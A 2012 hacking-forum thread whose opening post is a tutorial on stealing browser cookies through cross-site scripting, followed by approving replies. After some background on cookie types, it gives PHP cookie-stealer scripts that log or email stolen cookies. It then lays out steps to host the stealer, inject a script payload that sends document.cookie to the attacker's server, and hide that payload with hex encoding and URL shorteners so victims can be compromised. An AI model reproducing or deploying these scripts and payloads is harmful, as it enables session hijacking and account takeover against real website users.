[FULL XSS TUT] How To Steal Cookies // Hacking With XSS [/FULL XSS TUT] - xSellize - Mar 17, 2012
Basic Knowledge about Cookies....
Different Types of Cookies:
Session cookie
A session cookie upto certain hours,depending on website. After the session hour, it will be destroyed.
Persistent Cookie
A persistent cookie will outlast user sessions. If a persistent cookie has its Max-Age set to 1 year, then, within the year, the initial value set in that cookie would be sent back to the server every time the user visited the server. This could be used to record a vital piece of information such as how the user initially came to this website. For this reason, persistent cookies are also called tracking cookies or in-memory cookies.
Secure cookie
Secure cookies are encrypted cookies. If you used HTTPS(secure Connection), then it will store the cookies in encrypted format. Even hackers steal the cookie, he is able to see only the encrypted data.
Example:
Bank websites always use Secure Cookies.
HttpOnly cookie
The HttpOnly cookie is supported by most modern browsers. On a supported browser, an HttpOnly session cookie will be used only when transmitting HTTP (or HTTPS) requests, thus restricting access from other, non-HTTP APIs (such as JavaScript). This restriction mitigates but does not eliminate the threat of session cookie theft via Cross-site scripting.[15]. It is important to realize this feature applies only to session-management cookies, and not other browser cookies.
Third-party cookie
Third-party cookies will store the cookies with another domain.
For Example:
http://www.example.com will store the cookies with ad.advertise12.com
At the same time, another website also set cookies with same domain.
http://www.othersite.com will store the cookies with ad.advertise12.com
Supercookie
A "supercookie" is a cookie with a public suffix domain, like .com, .co.in,.in.
Most browsers, by default, allow first-party cookies—a cookie with domain to be the same or sub-domain of the requesting host. For example, a user visiting http://www.example.com can have a cookie set with domain http://www.example.com or .example.com, but not .com. A supercookie with domain .com would be blocked by browsers; otherwise, a malicious website, like attacker.com, could set a supercookie with domain .com and potentially disrupt or impersonate legitimate user requests to example.com.
Zombie cookie
A zombie cookie is any cookie that is automatically recreated after a user has deleted it. This is accomplished by a script storing the content of the cookie in some other locations, such as the local storage available to Flash content, HTML5 storages and other client side mechanisms, and then recreating the cookie from backup stores when the cookie's absence is detected.
What is the use of Cookies?
Session management
Cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. Cookies were introduced to provide a way to implement a "shopping cart" (or "shopping basket"), a virtual device into which users can store items they want to purchase as they navigate throughout the site.
Personalization
Cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. For example a web server may send a cookie containing the username last used to log in to a web site so that it may be filled in for future visits.
Tracking
Tracking cookies may be used to track internet users' web browsing habits. This can also be done in part by using the IP address of the computer requesting the page or the referrer field of the HTTP request header, but cookies allow for greater precision
How to create cookie stealer Coding in PHP
Here is the simple Cookie Stealer code:
Cookie stored in File:
PHP Code
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>
$cookie = $HTTP_GET_VARS["cookie"]; // This steal the cookie from the current url(stealer.php?cookie=x) And this store the cookies in $cookie variable.
$steal = fopen("cookiefile.txt", "a"); // This open the cookiefile in append mode so that we can append the stolen cookie.
fwrite($steal, $cookie ."\\n"); //This will store the stolen cookie inside the file.
fclose($steal); // This will close the opened file.
Another version: Sends cookies to the hacker mail
PHP Code
<?php
$cookie = $HTTP_GET_VARS["cookie"]; mail("[email protected]", "Stolen Cookies", $cookie);
?>
The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".
Third Version
PHP Code
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
The above Cookie stealer will store the following information:
Ip address
port number
host(usually computer-name)
user agent
cookie
Cookie Stealing // Hacking
Cookie stealing is the process of exploiting the XSS vulnerability (Non-persistent/persistent) and steal the cookie from the victim who visit the infected link. These cookie will be used to compromise their accounts.
Step 1: Creating Cookie Stealer PHP file
I have explained three versions of cookie stealer. We are going to use the third version.
Copy the code.
Open Notepad and paste the code
Save the file with .php extension
Eg: Stealer.php
Now create New file and save it as log.txt (leave it as blank). Don't change the name , this is the file name what we give in php file.
Now you will have two files;
1. Stealer.php
2. log.txt
What these two files do exactly?
The above Stealer.php file get ip address,cookie and stores the data in log.txt file.
The log.txt has cookies , ip address details.
Step 2:
Register in a free web-hosting service and login into your cpanel.
Now open the File Manager in cpanel.
Upload the Stealer.php and log.txt to root folder or public_html folder.
Now the stealer will be at hxxp://www.YourSite.com/Stealer.php .
Step 3:Exploiting the XSS Vulnerability
So Far , we have sharpened our saw. Now we are going to use it.
Once you set up everything and find a Vulnerable site,then inject the following code in the Vulnerable sites.
<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
For example:
hxxp://www.VulnerableSite.com/index.php?search=<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
Cookie Stealing with Non-Persistent vs Persistent XSS:
Persistent: if you inject this code in Persistent XSS vulnerable site, it will be there forever until admin find it. It will be shown to all users. So attackers don't need to send any link to others. Whoever visit the page, they will be vicim.
Non-Persistent:
In case of Non-persistent attack, attacker will send the link to victims. Whenever they follow the link, it will steal the cookie. Most of sites are vulnerable to Non-persistent XSS .
In Non-persistence, Attackers will send the injected link victims.
For example:
hxxp://www.VulnerableSite.com/index.php?search=<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>
The above link is clearly shows the scripts. Hackers can Hex-encode this script so that victim can't see the script.
For Example:
PHP Code
<?php
xxp://www.VulnerableSite.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e
Still , the link look long. The attacker use one more trick to hide the long url i.e url shortening sites. There are lot of sites that shorten the long url into tiny url.
For example:
hxxp://www.tinyexample.com/twrwd63
Once the victim follow the link, his cookie will be stored in log.txt file.
How to Secure from this attack?
Use No-Script Addon. This is best protection to stay away from XSS
Never Click the Shorten url
Sometime you may want to follow the shorten link. If so, then clear all cookies in your browser and visit through Proxy or VPN(it will hide your ip)
INFO
The user has total responsibility for any illegal acts ..
Hope u like my first TuT about XSS....
* - greenpois0n - Mar 17, 2012
THIS IS A AWESO´ME TUT MAN
THX
Boormarked it :D
* - Poraft - Mar 17, 2012
Nice man, bookmarked this. Keep up the good work!
* - most wanted england - Mar 17, 2012
nice guide well detailed and help me tyvm
* - xSellize - Mar 17, 2012
Thx To all ....
Hope u like it ;)
....
* - -Subwoofer. - Mar 28, 2012
this is an amazing tutorial !!!!
thx
* - Afrox - Mar 28, 2012
amazing guide thank you so much for this, helped me get the idea of xss
would you be interested in making a tut about finding vuln sites and what to do with the cookie after? :)
* - ntoskrnl.exe - Mar 28, 2012
Awsome tutorial. I always wanted this. Thanks a lot man :D
* - preetam.kondekar - Mar 28, 2012
this is awsome tut buddy.... I like it.. thanks tone buddy.
* - Morse Code - Mar 28, 2012
Actual HQ tutorials like this need to stay at the top instead of "PM ME FOR TEH DOWNLOAD LINK ON HOW TO BE THE WORLDS L3333TEST HAX0R". Thanks for the tutorial man, I will be trying it out.
* - Chainrofl - Mar 28, 2012
Great tutorial, but does anybody have any links to any good free web hosts? I used to use # but I believe that the site no longer supports free domains.
* - tornet - Mar 28, 2012
thanks a lot this will help me out greatly!!
* - Roy90 - Mar 28, 2012
Nice tutorial...helped a lot thanx..!!
* - lovelykiss87 - Mar 29, 2012
where is complete tutorial i need thist tutorial
* - Cold_Blooded - Mar 29, 2012
Wow, Thanks for this. I'm learning slowly before I start trying anything out.
|
